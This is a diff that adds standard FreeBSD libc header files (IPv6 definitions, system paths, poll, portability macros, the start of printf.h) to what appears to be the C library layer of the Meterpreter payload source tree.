#define IPV6_IPSEC_POLICY 28 /* struct; get/set security policy */
|
||||
#endif /* IPSEC */
|
||||
|
||||
#define IPV6_FAITH 29 /* bool; accept FAITH'ed connections */
|
||||
|
||||
#if 1 /* IPV6FIREWALL */
|
||||
#define IPV6_FW_ADD 30 /* add a firewall rule to chain */
|
||||
#define IPV6_FW_DEL 31 /* delete a firewall rule from chain */
|
||||
#define IPV6_FW_FLUSH 32 /* flush firewall rule chain */
|
||||
#define IPV6_FW_ZERO 33 /* clear single/all firewall counter(s) */
|
||||
#define IPV6_FW_GET 34 /* get entire firewall rule chain */
|
||||
#endif
|
||||
|
||||
/* new socket options introduced in RFC3542 */
|
||||
#define IPV6_RTHDRDSTOPTS 35 /* ip6_dest; send dst option before rthdr */
|
||||
|
||||
#define IPV6_RECVPKTINFO 36 /* bool; recv if, dst addr */
|
||||
#define IPV6_RECVHOPLIMIT 37 /* bool; recv hop limit */
|
||||
#define IPV6_RECVRTHDR 38 /* bool; recv routing header */
|
||||
#define IPV6_RECVHOPOPTS 39 /* bool; recv hop-by-hop option */
|
||||
#define IPV6_RECVDSTOPTS 40 /* bool; recv dst option after rthdr */
|
||||
#ifdef _KERNEL
|
||||
#define IPV6_RECVRTHDRDSTOPTS 41 /* bool; recv dst option before rthdr */
|
||||
#endif
|
||||
|
||||
#define IPV6_USE_MIN_MTU 42 /* bool; send packets at the minimum MTU */
|
||||
#define IPV6_RECVPATHMTU 43 /* bool; notify an according MTU */
|
||||
|
||||
#define IPV6_PATHMTU 44 /* mtuinfo; get the current path MTU (sopt),
|
||||
4 bytes int; MTU notification (cmsg) */
|
||||
#if 0 /*obsoleted during 2292bis -> 3542*/
|
||||
#define IPV6_REACHCONF 45 /* no data; ND reachability confirm
|
||||
(cmsg only/not in of RFC3542) */
|
||||
#endif
|
||||
|
||||
/* more new socket options introduced in RFC3542 */
|
||||
#define IPV6_PKTINFO 46 /* in6_pktinfo; send if, src addr */
|
||||
#define IPV6_HOPLIMIT 47 /* int; send hop limit */
|
||||
#define IPV6_NEXTHOP 48 /* sockaddr; next hop addr */
|
||||
#define IPV6_HOPOPTS 49 /* ip6_hbh; send hop-by-hop option */
|
||||
#define IPV6_DSTOPTS 50 /* ip6_dest; send dst option befor rthdr */
|
||||
#define IPV6_RTHDR 51 /* ip6_rthdr; send routing header */
|
||||
#if 0
|
||||
#define IPV6_PKTOPTIONS 52 /* buf/cmsghdr; set/get IPv6 options */
|
||||
/* obsoleted by RFC3542 */
|
||||
#endif
|
||||
|
||||
#define IPV6_RECVTCLASS 57 /* bool; recv traffic class values */
|
||||
|
||||
#define IPV6_AUTOFLOWLABEL 59 /* bool; attach flowlabel automagically */
|
||||
|
||||
#define IPV6_TCLASS 61 /* int; send traffic class value */
|
||||
#define IPV6_DONTFRAG 62 /* bool; disable IPv6 fragmentation */
|
||||
|
||||
#define IPV6_PREFER_TEMPADDR 63 /* int; prefer temporary addresses as
|
||||
* the source address.
|
||||
*/
|
||||
|
||||
#define IPV6_BINDANY 64 /* bool: allow bind to any address */
|
||||
|
||||
/*
|
||||
* The following option is private; do not use it from user applications.
|
||||
* It is deliberately defined to the same value as IP_MSFILTER.
|
||||
*/
|
||||
#define IPV6_MSFILTER 74 /* struct __msfilterreq;
|
||||
* set/get multicast source filter list.
|
||||
*/
|
||||
|
||||
/* to define items, should talk with KAME guys first, for *BSD compatibility */
|
||||
|
||||
#define IPV6_RTHDR_LOOSE 0 /* this hop need not be a neighbor. XXX old spec */
|
||||
#define IPV6_RTHDR_STRICT 1 /* this hop must be a neighbor. XXX old spec */
|
||||
#define IPV6_RTHDR_TYPE_0 0 /* IPv6 routing header type 0 */
|
||||
|
||||
/*
|
||||
* Defaults and limits for options
|
||||
*/
|
||||
#define IPV6_DEFAULT_MULTICAST_HOPS 1 /* normally limit m'casts to 1 hop */
|
||||
#define IPV6_DEFAULT_MULTICAST_LOOP 1 /* normally hear sends if a member */
|
||||
|
||||
/*
|
||||
* The im6o_membership vector for each socket is now dynamically allocated at
|
||||
* run-time, bounded by USHRT_MAX, and is reallocated when needed, sized
|
||||
* according to a power-of-two increment.
|
||||
*/
|
||||
#define IPV6_MIN_MEMBERSHIPS 31
|
||||
#define IPV6_MAX_MEMBERSHIPS 4095
|
||||
|
||||
/*
|
||||
* Default resource limits for IPv6 multicast source filtering.
|
||||
* These may be modified by sysctl.
|
||||
*/
|
||||
#define IPV6_MAX_GROUP_SRC_FILTER 512 /* sources per group */
|
||||
#define IPV6_MAX_SOCK_SRC_FILTER 128 /* sources per socket/group */
|
||||
|
||||
/*
|
||||
* Argument structure for IPV6_JOIN_GROUP and IPV6_LEAVE_GROUP.
|
||||
*/
|
||||
struct ipv6_mreq {
|
||||
struct in6_addr ipv6mr_multiaddr;
|
||||
unsigned int ipv6mr_interface;
|
||||
};
|
||||
|
||||
/*
|
||||
* IPV6_PKTINFO: Packet information(RFC2292 sec 5)
|
||||
*/
|
||||
struct in6_pktinfo {
|
||||
struct in6_addr ipi6_addr; /* src/dst IPv6 address */
|
||||
unsigned int ipi6_ifindex; /* send/recv interface index */
|
||||
};
|
||||
|
||||
/*
|
||||
* Control structure for IPV6_RECVPATHMTU socket option.
|
||||
*/
|
||||
struct ip6_mtuinfo {
|
||||
struct sockaddr_in6 ip6m_addr; /* or sockaddr_storage? */
|
||||
uint32_t ip6m_mtu;
|
||||
};
|
||||
|
||||
/*
|
||||
* Argument for IPV6_PORTRANGE:
|
||||
* - which range to search when port is unspecified at bind() or connect()
|
||||
*/
|
||||
#define IPV6_PORTRANGE_DEFAULT 0 /* default range */
|
||||
#define IPV6_PORTRANGE_HIGH 1 /* "high" - request firewall bypass */
|
||||
#define IPV6_PORTRANGE_LOW 2 /* "low" - vouchsafe security */
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
/*
|
||||
* Definitions for inet6 sysctl operations.
|
||||
*
|
||||
* Third level is protocol number.
|
||||
* Fourth level is desired variable within that protocol.
|
||||
*/
|
||||
#define IPV6PROTO_MAXID (IPPROTO_PIM + 1) /* don't list to IPV6PROTO_MAX */
|
||||
|
||||
/*
|
||||
* Names for IP sysctl objects
|
||||
*/
|
||||
#define IPV6CTL_FORWARDING 1 /* act as router */
|
||||
#define IPV6CTL_SENDREDIRECTS 2 /* may send redirects when forwarding*/
|
||||
#define IPV6CTL_DEFHLIM 3 /* default Hop-Limit */
|
||||
#ifdef notyet
|
||||
#define IPV6CTL_DEFMTU 4 /* default MTU */
|
||||
#endif
|
||||
#define IPV6CTL_FORWSRCRT 5 /* forward source-routed dgrams */
|
||||
#define IPV6CTL_STATS 6 /* stats */
|
||||
#define IPV6CTL_MRTSTATS 7 /* multicast forwarding stats */
|
||||
#define IPV6CTL_MRTPROTO 8 /* multicast routing protocol */
|
||||
#define IPV6CTL_MAXFRAGPACKETS 9 /* max packets reassembly queue */
|
||||
#define IPV6CTL_SOURCECHECK 10 /* verify source route and intf */
|
||||
#define IPV6CTL_SOURCECHECK_LOGINT 11 /* minimume logging interval */
|
||||
#define IPV6CTL_ACCEPT_RTADV 12
|
||||
#define IPV6CTL_KEEPFAITH 13
|
||||
#define IPV6CTL_LOG_INTERVAL 14
|
||||
#define IPV6CTL_HDRNESTLIMIT 15
|
||||
#define IPV6CTL_DAD_COUNT 16
|
||||
#define IPV6CTL_AUTO_FLOWLABEL 17
|
||||
#define IPV6CTL_DEFMCASTHLIM 18
|
||||
#define IPV6CTL_GIF_HLIM 19 /* default HLIM for gif encap packet */
|
||||
#define IPV6CTL_KAME_VERSION 20
|
||||
#define IPV6CTL_USE_DEPRECATED 21 /* use deprecated addr (RFC2462 5.5.4) */
|
||||
#define IPV6CTL_RR_PRUNE 22 /* walk timer for router renumbering */
|
||||
#if 0 /* obsolete */
|
||||
#define IPV6CTL_MAPPED_ADDR 23
|
||||
#endif
|
||||
#define IPV6CTL_V6ONLY 24
|
||||
#define IPV6CTL_RTEXPIRE 25 /* cloned route expiration time */
|
||||
#define IPV6CTL_RTMINEXPIRE 26 /* min value for expiration time */
|
||||
#define IPV6CTL_RTMAXCACHE 27 /* trigger level for dynamic expire */
|
||||
|
||||
#define IPV6CTL_USETEMPADDR 32 /* use temporary addresses (RFC3041) */
|
||||
#define IPV6CTL_TEMPPLTIME 33 /* preferred lifetime for tmpaddrs */
|
||||
#define IPV6CTL_TEMPVLTIME 34 /* valid lifetime for tmpaddrs */
|
||||
#define IPV6CTL_AUTO_LINKLOCAL 35 /* automatic link-local addr assign */
|
||||
#define IPV6CTL_RIP6STATS 36 /* raw_ip6 stats */
|
||||
#define IPV6CTL_PREFER_TEMPADDR 37 /* prefer temporary addr as src */
|
||||
#define IPV6CTL_ADDRCTLPOLICY 38 /* get/set address selection policy */
|
||||
#define IPV6CTL_USE_DEFAULTZONE 39 /* use default scope zone */
|
||||
|
||||
#define IPV6CTL_MAXFRAGS 41 /* max fragments */
|
||||
#if 0
|
||||
#define IPV6CTL_IFQ 42 /* ip6intrq node */
|
||||
#define IPV6CTL_ISATAPRTR 43 /* isatap router */
|
||||
#endif
|
||||
#define IPV6CTL_MCAST_PMTU 44 /* enable pMTU discovery for multicast? */
|
||||
|
||||
/* New entries should be added here from current IPV6CTL_MAXID value. */
|
||||
/* to define items, should talk with KAME guys first, for *BSD compatibility */
|
||||
#define IPV6CTL_STEALTH 45
|
||||
|
||||
#define ICMPV6CTL_ND6_ONLINKNSRFC4861 47
|
||||
#define IPV6CTL_MAXID 48
|
||||
#endif /* __BSD_VISIBLE */
|
||||
|
||||
/*
|
||||
* Redefinition of mbuf flags
|
||||
*/
|
||||
#define M_AUTHIPHDR M_PROTO2
|
||||
#define M_DECRYPTED M_PROTO3
|
||||
#define M_LOOP M_PROTO4
|
||||
#define M_AUTHIPDGM M_PROTO5
|
||||
#define M_RTALERT_MLD M_PROTO6
|
||||
|
||||
#ifdef _KERNEL
|
||||
struct cmsghdr;
|
||||
|
||||
int in6_cksum __P((struct mbuf *, u_int8_t, u_int32_t, u_int32_t));
|
||||
int in6_localaddr __P((struct in6_addr *));
|
||||
int in6_addrscope __P((struct in6_addr *));
|
||||
struct in6_ifaddr *in6_ifawithifp __P((struct ifnet *, struct in6_addr *));
|
||||
extern void in6_if_up __P((struct ifnet *));
|
||||
struct sockaddr;
|
||||
extern u_char ip6_protox[];
|
||||
|
||||
void in6_sin6_2_sin __P((struct sockaddr_in *sin,
|
||||
struct sockaddr_in6 *sin6));
|
||||
void in6_sin_2_v4mapsin6 __P((struct sockaddr_in *sin,
|
||||
struct sockaddr_in6 *sin6));
|
||||
void in6_sin6_2_sin_in_sock __P((struct sockaddr *nam));
|
||||
void in6_sin_2_v4mapsin6_in_sock __P((struct sockaddr **nam));
|
||||
extern void addrsel_policy_init __P((void));
|
||||
|
||||
#define satosin6(sa) ((struct sockaddr_in6 *)(sa))
|
||||
#define sin6tosa(sin6) ((struct sockaddr *)(sin6))
|
||||
#define ifatoia6(ifa) ((struct in6_ifaddr *)(ifa))
|
||||
|
||||
extern int (*faithprefix_p)(struct in6_addr *);
|
||||
#endif /* _KERNEL */
|
||||
|
||||
#ifndef _SIZE_T_DECLARED
|
||||
typedef __size_t size_t;
|
||||
#define _SIZE_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef _SOCKLEN_T_DECLARED
|
||||
typedef __socklen_t socklen_t;
|
||||
#define _SOCKLEN_T_DECLARED
|
||||
#endif
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
|
||||
__BEGIN_DECLS
|
||||
struct cmsghdr;
|
||||
|
||||
extern int inet6_option_space __P((int));
|
||||
extern int inet6_option_init __P((void *, struct cmsghdr **, int));
|
||||
extern int inet6_option_append __P((struct cmsghdr *, const uint8_t *,
|
||||
int, int));
|
||||
extern uint8_t *inet6_option_alloc __P((struct cmsghdr *, int, int, int));
|
||||
extern int inet6_option_next __P((const struct cmsghdr *, uint8_t **));
|
||||
extern int inet6_option_find __P((const struct cmsghdr *, uint8_t **, int));
|
||||
|
||||
extern size_t inet6_rthdr_space __P((int, int));
|
||||
extern struct cmsghdr *inet6_rthdr_init __P((void *, int));
|
||||
extern int inet6_rthdr_add __P((struct cmsghdr *, const struct in6_addr *,
|
||||
unsigned int));
|
||||
extern int inet6_rthdr_lasthop __P((struct cmsghdr *, unsigned int));
|
||||
#if 0 /* not implemented yet */
|
||||
extern int inet6_rthdr_reverse __P((const struct cmsghdr *, struct cmsghdr *));
|
||||
#endif
|
||||
extern int inet6_rthdr_segments __P((const struct cmsghdr *));
|
||||
extern struct in6_addr *inet6_rthdr_getaddr __P((struct cmsghdr *, int));
|
||||
extern int inet6_rthdr_getflags __P((const struct cmsghdr *, int));
|
||||
|
||||
extern int inet6_opt_init __P((void *, socklen_t));
|
||||
extern int inet6_opt_append __P((void *, socklen_t, int, uint8_t, socklen_t,
|
||||
uint8_t, void **));
|
||||
extern int inet6_opt_finish __P((void *, socklen_t, int));
|
||||
extern int inet6_opt_set_val __P((void *, int, void *, socklen_t));
|
||||
|
||||
extern int inet6_opt_next __P((void *, socklen_t, int, uint8_t *, socklen_t *,
|
||||
void **));
|
||||
extern int inet6_opt_find __P((void *, socklen_t, int, uint8_t, socklen_t *,
|
||||
void **));
|
||||
extern int inet6_opt_get_val __P((void *, int, void *, socklen_t));
|
||||
extern socklen_t inet6_rth_space __P((int, int));
|
||||
extern void *inet6_rth_init __P((void *, socklen_t, int, int));
|
||||
extern int inet6_rth_add __P((void *, const struct in6_addr *));
|
||||
extern int inet6_rth_reverse __P((const void *, void *));
|
||||
extern int inet6_rth_segments __P((const void *));
|
||||
extern struct in6_addr *inet6_rth_getaddr __P((const void *, int));
|
||||
__END_DECLS
|
||||
|
||||
#endif /* __BSD_VISIBLE */
|
||||
|
||||
#endif /* !_NETINET6_IN6_H_ */
|
138
c/meterpreter/source/ulibc/paths.h
Normal file
138
c/meterpreter/source/ulibc/paths.h
Normal file
@ -0,0 +1,138 @@
|
||||
/*
|
||||
* Copyright (c) 1989, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)paths.h 8.1 (Berkeley) 6/2/93
|
||||
* $FreeBSD: head/include/paths.h 187969 2009-02-01 00:50:46Z obrien $
|
||||
*/
|
||||
|
||||
#ifndef _PATHS_H_
|
||||
#define _PATHS_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
|
||||
/* Default search path. */
|
||||
#define _PATH_DEFPATH "/usr/bin:/bin"
|
||||
/* All standard utilities path. */
|
||||
#define _PATH_STDPATH "/usr/bin:/bin:/usr/sbin:/sbin:"
|
||||
/* Locate system binaries. */
|
||||
#define _PATH_SYSPATH "/sbin:/usr/sbin"
|
||||
|
||||
#define _PATH_AUTHCONF "/etc/auth.conf"
|
||||
#define _PATH_BSHELL "/bin/sh"
|
||||
#define _PATH_CAPABILITY "/etc/capability"
|
||||
#define _PATH_CAPABILITY_DB "/etc/capability.db"
|
||||
#define _PATH_CONSOLE "/dev/console"
|
||||
#define _PATH_CP "/bin/cp"
|
||||
#define _PATH_CSHELL "/bin/csh"
|
||||
#define _PATH_DEFTAPE "/dev/sa0"
|
||||
#define _PATH_DEVNULL "/dev/null"
|
||||
#define _PATH_DEVZERO "/dev/zero"
|
||||
#define _PATH_DRUM "/dev/drum"
|
||||
#define _PATH_ETC "/etc"
|
||||
#define _PATH_FTPUSERS "/etc/ftpusers"
|
||||
#define _PATH_FWMEM "/dev/fwmem"
|
||||
#define _PATH_HALT "/sbin/halt"
|
||||
#define _PATH_IFCONFIG "/sbin/ifconfig"
|
||||
#define _PATH_KMEM "/dev/kmem"
|
||||
#define _PATH_LIBMAP_CONF "/etc/libmap.conf"
|
||||
#define _PATH_LOCALE "/usr/share/locale"
|
||||
#define _PATH_LOGIN "/usr/bin/login"
|
||||
#define _PATH_MAILDIR "/var/mail"
|
||||
#define _PATH_MAN "/usr/share/man"
|
||||
#define _PATH_MDCONFIG "/sbin/mdconfig"
|
||||
#define _PATH_MEM "/dev/mem"
|
||||
#define _PATH_MKSNAP_FFS "/sbin/mksnap_ffs"
|
||||
#define _PATH_MOUNT "/sbin/mount"
|
||||
#define _PATH_NEWFS "/sbin/newfs"
|
||||
#define _PATH_NOLOGIN "/var/run/nologin"
|
||||
#define _PATH_RCP "/bin/rcp"
|
||||
#define _PATH_REBOOT "/sbin/reboot"
|
||||
#define _PATH_RLOGIN "/usr/bin/rlogin"
|
||||
#define _PATH_RM "/bin/rm"
|
||||
#define _PATH_RSH "/usr/bin/rsh"
|
||||
#define _PATH_SENDMAIL "/usr/sbin/sendmail"
|
||||
#define _PATH_SHELLS "/etc/shells"
|
||||
#define _PATH_TTY "/dev/tty"
|
||||
#define _PATH_UNIX "don't use _PATH_UNIX"
|
||||
#define _PATH_VI "/usr/bin/vi"
|
||||
#define _PATH_WALL "/usr/bin/wall"
|
||||
|
||||
/* Provide trailing slash, since mostly used for building pathnames. */
|
||||
#define _PATH_DEV "/dev/"
|
||||
#define _PATH_TMP "/tmp/"
|
||||
#define _PATH_VARDB "/var/db/"
|
||||
#define _PATH_VARRUN "/var/run/"
|
||||
#define _PATH_VARTMP "/var/tmp/"
|
||||
#define _PATH_YP "/var/yp/"
|
||||
#define _PATH_UUCPLOCK "/var/spool/lock/"
|
||||
|
||||
/* How to get the correct name of the kernel. */
|
||||
__BEGIN_DECLS
|
||||
const char *getbootfile(void);
|
||||
__END_DECLS
|
||||
|
||||
#ifdef RESCUE
|
||||
#undef _PATH_DEFPATH
|
||||
#define _PATH_DEFPATH "/rescue:/usr/bin:/bin"
|
||||
#undef _PATH_STDPATH
|
||||
#define _PATH_STDPATH "/rescue:/usr/bin:/bin:/usr/sbin:/sbin"
|
||||
#undef _PATH_SYSPATH
|
||||
#define _PATH_SYSPATH "/rescue:/sbin:/usr/sbin"
|
||||
#undef _PATH_BSHELL
|
||||
#define _PATH_BSHELL "/rescue/sh"
|
||||
#undef _PATH_CP
|
||||
#define _PATH_CP "/rescue/cp"
|
||||
#undef _PATH_CSHELL
|
||||
#define _PATH_CSHELL "/rescue/csh"
|
||||
#undef _PATH_HALT
|
||||
#define _PATH_HALT "/rescue/halt"
|
||||
#undef _PATH_IFCONFIG
|
||||
#define _PATH_IFCONFIG "/rescue/ifconfig"
|
||||
#undef _PATH_MDCONFIG
|
||||
#define _PATH_MDCONFIG "/rescue/mdconfig"
|
||||
#undef _PATH_MOUNT
|
||||
#define _PATH_MOUNT "/rescue/mount"
|
||||
#undef _PATH_NEWFS
|
||||
#define _PATH_NEWFS "/rescue/newfs"
|
||||
#undef _PATH_RCP
|
||||
#define _PATH_RCP "/rescue/rcp"
|
||||
#undef _PATH_REBOOT
|
||||
#define _PATH_REBOOT "/rescue/reboot"
|
||||
#undef _PATH_RM
|
||||
#define _PATH_RM "/rescue/rm"
|
||||
#undef _PATH_VI
|
||||
#define _PATH_VI "/rescue/vi"
|
||||
#undef _PATH_WALL
|
||||
#define _PATH_WALL "/rescue/wall"
|
||||
#endif /* RESCUE */
|
||||
|
||||
#endif /* !_PATHS_H_ */
|
104
c/meterpreter/source/ulibc/poll.h
Normal file
104
c/meterpreter/source/ulibc/poll.h
Normal file
@ -0,0 +1,104 @@
|
||||
/*-
|
||||
* Copyright (c) 1997 Peter Wemm <peter@freebsd.org>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. The name of the author may not be used to endorse or promote products
|
||||
* derived from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/sys/sys/poll.h 99710 2002-07-10 04:47:25Z mike $
|
||||
*/
|
||||
|
||||
#ifndef _SYS_POLL_H_
|
||||
#define _SYS_POLL_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
|
||||
/*
|
||||
* This file is intended to be compatible with the traditional poll.h.
|
||||
*/
|
||||
|
||||
typedef unsigned int nfds_t;
|
||||
|
||||
/*
|
||||
* This structure is passed as an array to poll(2).
|
||||
*/
|
||||
struct pollfd {
|
||||
int fd; /* which file descriptor to poll */
|
||||
short events; /* events we are interested in */
|
||||
short revents; /* events found on return */
|
||||
};
|
||||
|
||||
/*
|
||||
* Requestable events. If poll(2) finds any of these set, they are
|
||||
* copied to revents on return.
|
||||
* XXX Note that FreeBSD doesn't make much distinction between POLLPRI
|
||||
* and POLLRDBAND since none of the file types have distinct priority
|
||||
* bands - and only some have an urgent "mode".
|
||||
* XXX Note POLLIN isn't really supported in true SVSV terms. Under SYSV
|
||||
* POLLIN includes all of normal, band and urgent data. Most poll handlers
|
||||
* on FreeBSD only treat it as "normal" data.
|
||||
*/
|
||||
#define POLLIN 0x0001 /* any readable data available */
|
||||
#define POLLPRI 0x0002 /* OOB/Urgent readable data */
|
||||
#define POLLOUT 0x0004 /* file descriptor is writeable */
|
||||
#define POLLRDNORM 0x0040 /* non-OOB/URG data available */
|
||||
#define POLLWRNORM POLLOUT /* no write type differentiation */
|
||||
#define POLLRDBAND 0x0080 /* OOB/Urgent readable data */
|
||||
#define POLLWRBAND 0x0100 /* OOB/Urgent data can be written */
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
/* General FreeBSD extension (currently only supported for sockets): */
|
||||
#define POLLINIGNEOF 0x2000 /* like POLLIN, except ignore EOF */
|
||||
#endif
|
||||
|
||||
/*
|
||||
* These events are set if they occur regardless of whether they were
|
||||
* requested.
|
||||
*/
|
||||
#define POLLERR 0x0008 /* some poll error occurred */
|
||||
#define POLLHUP 0x0010 /* file descriptor was "hung up" */
|
||||
#define POLLNVAL 0x0020 /* requested events "invalid" */
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
|
||||
#define POLLSTANDARD (POLLIN|POLLPRI|POLLOUT|POLLRDNORM|POLLRDBAND|\
|
||||
POLLWRBAND|POLLERR|POLLHUP|POLLNVAL)
|
||||
|
||||
/*
|
||||
* Request that poll() wait forever.
|
||||
* XXX in SYSV, this is defined in stropts.h, which is not included
|
||||
* by poll.h.
|
||||
*/
|
||||
#define INFTIM (-1)
|
||||
|
||||
#endif
|
||||
|
||||
#ifndef _KERNEL
|
||||
|
||||
__BEGIN_DECLS
|
||||
int poll(struct pollfd _pfd[], nfds_t _nfds, int _timeout);
|
||||
__END_DECLS
|
||||
|
||||
#endif /* !_KERNEL */
|
||||
|
||||
#endif /* !_SYS_POLL_H_ */
|
11
c/meterpreter/source/ulibc/port_after.h
Normal file
11
c/meterpreter/source/ulibc/port_after.h
Normal file
@ -0,0 +1,11 @@
|
||||
/* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/include/port_after.h 156964 2006-03-21 18:31:24Z ume $ */
|
||||
|
||||
#ifndef _PORT_AFTER_H_
|
||||
#define _PORT_AFTER_H_
|
||||
|
||||
#define HAVE_SA_LEN 1
|
||||
#define HAS_INET6_STRUCTS 1
|
||||
#define HAVE_SIN6_SCOPE_ID 1
|
||||
#define HAVE_TIME_R 1
|
||||
|
||||
#endif /* _PORT_AFTER_H_ */
|
22
c/meterpreter/source/ulibc/port_before.h
Normal file
22
c/meterpreter/source/ulibc/port_before.h
Normal file
@ -0,0 +1,22 @@
|
||||
/* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/include/port_before.h 156956 2006-03-21 15:37:16Z ume $ */
|
||||
|
||||
#ifndef _PORT_BEFORE_H_
|
||||
#define _PORT_BEFORE_H_
|
||||
|
||||
#define _LIBC 1
|
||||
#define DO_PTHREADS 1
|
||||
#define USE_KQUEUE 1
|
||||
|
||||
#define ISC_SOCKLEN_T socklen_t
|
||||
#define ISC_FORMAT_PRINTF(fmt, args) \
|
||||
__attribute__((__format__(__printf__, fmt, args)))
|
||||
#define DE_CONST(konst, var) \
|
||||
do { \
|
||||
union { const void *k; void *v; } _u; \
|
||||
_u.k = konst; \
|
||||
var = _u.v; \
|
||||
} while (0)
|
||||
|
||||
#define UNUSED(x) (x) = (x)
|
||||
|
||||
#endif /* _PORT_BEFORE_H_ */
|
163
c/meterpreter/source/ulibc/printf.h
Normal file
163
c/meterpreter/source/ulibc/printf.h
Normal file
@ -0,0 +1,163 @@
|
||||
/*-
|
||||
* Copyright (c) 2005 Poul-Henning Kamp
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/include/printf.h 156208 2006-03-02 10:01:52Z phk $
|
||||
*/
|
||||
|
||||
#ifndef _PRINTF_H_
|
||||
#define _PRINTF_H_
|
||||
|
||||
#include <wchar.h>
|
||||
|
||||
/*
|
||||
* The API defined by glibc allows a renderer to take multiple arguments
|
||||
* This is obviously usable for things like (ptr+len) pairs etc.
|
||||
* But the do not actually provide support for it at the end of the day,
|
||||
* they offer only one argument to the arginfo function, but do accept
|
||||
* >1 returns, although the do not check the types of those arguments
|
||||
* argument
|
||||
* Be compatible for now.
|
||||
*/
|
||||
#define __PRINTFMAXARG 2
|
||||
|
||||
